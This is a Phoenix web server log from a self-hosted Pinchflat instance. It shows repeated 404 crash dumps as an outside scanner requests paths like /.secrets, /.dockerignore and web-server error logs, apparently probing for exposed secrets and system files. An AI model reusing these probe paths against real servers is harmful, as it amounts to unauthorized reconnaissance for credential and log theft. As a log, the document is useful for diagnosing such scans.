14:07:52.230 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1100.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:52.231 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=1102.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:52.231 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:52.233 [error] #PID<0.12398.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 102) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.dockerignore ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerignore", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 102, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12398.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dockerignore", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz6bf0ZwLRG4AAKIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerignore", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 102, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerignore", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 102, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12398.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dockerignore", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz6bf0ZwLRG4AAKIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status (truncated) 14:07:52.817 [info] GET /.secrets 14:07:52.819 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1242.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:52.820 [debug] QUERY OK source="settings" db=0.9ms idle=1242.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:52.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:52.821 [error] #PID<0.12399.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 103) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.secrets ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 103, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12399.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz8n5JxFQu-0AAKIR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 103, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 103, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12399.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz8n5JxFQu-0AAKIR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 14:07:53.309 [info] GET /var/log/nginx/error.log 14:07:53.310 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=1079.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:53.312 [debug] QUERY OK source="settings" db=0.7ms queue=0.5ms idle=1079.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:53.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:53.314 [error] #PID<0.12400.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 104) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /var/log/nginx/error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/log/nginx/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/nginx/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 104, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12400.0>, params: %{}, path_info: ["var", "log", "nginx", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/var/log/nginx/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz-dEczHKxK4AAKIh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/nginx/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 104, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/log/nginx/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/nginx/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 104, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12400.0>, params: %{}, path_info: ["var", "log", "nginx", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/var/log/nginx/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz-dEczHKxK4AAKIh"} ], scheme: :http, script_name (truncated) 14:07:54.003 [info] GET /var/log/apache2/error.log 14:07:54.005 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=1184.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.006 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1185.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.006 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:54.009 [error] #PID<0.12401.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 105) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /var/log/apache2/error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/log/apache2/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/apache2/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 105, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12401.0>, params: %{}, path_info: ["var", "log", "apache2", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/var/log/apache2/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0BCn_nGE_CUAAKIx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/apache2/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 105, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/log/apache2/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/log/apache2/error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 105, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12401.0>, params: %{}, path_info: ["var", "log", "apache2", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/var/log/apache2/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 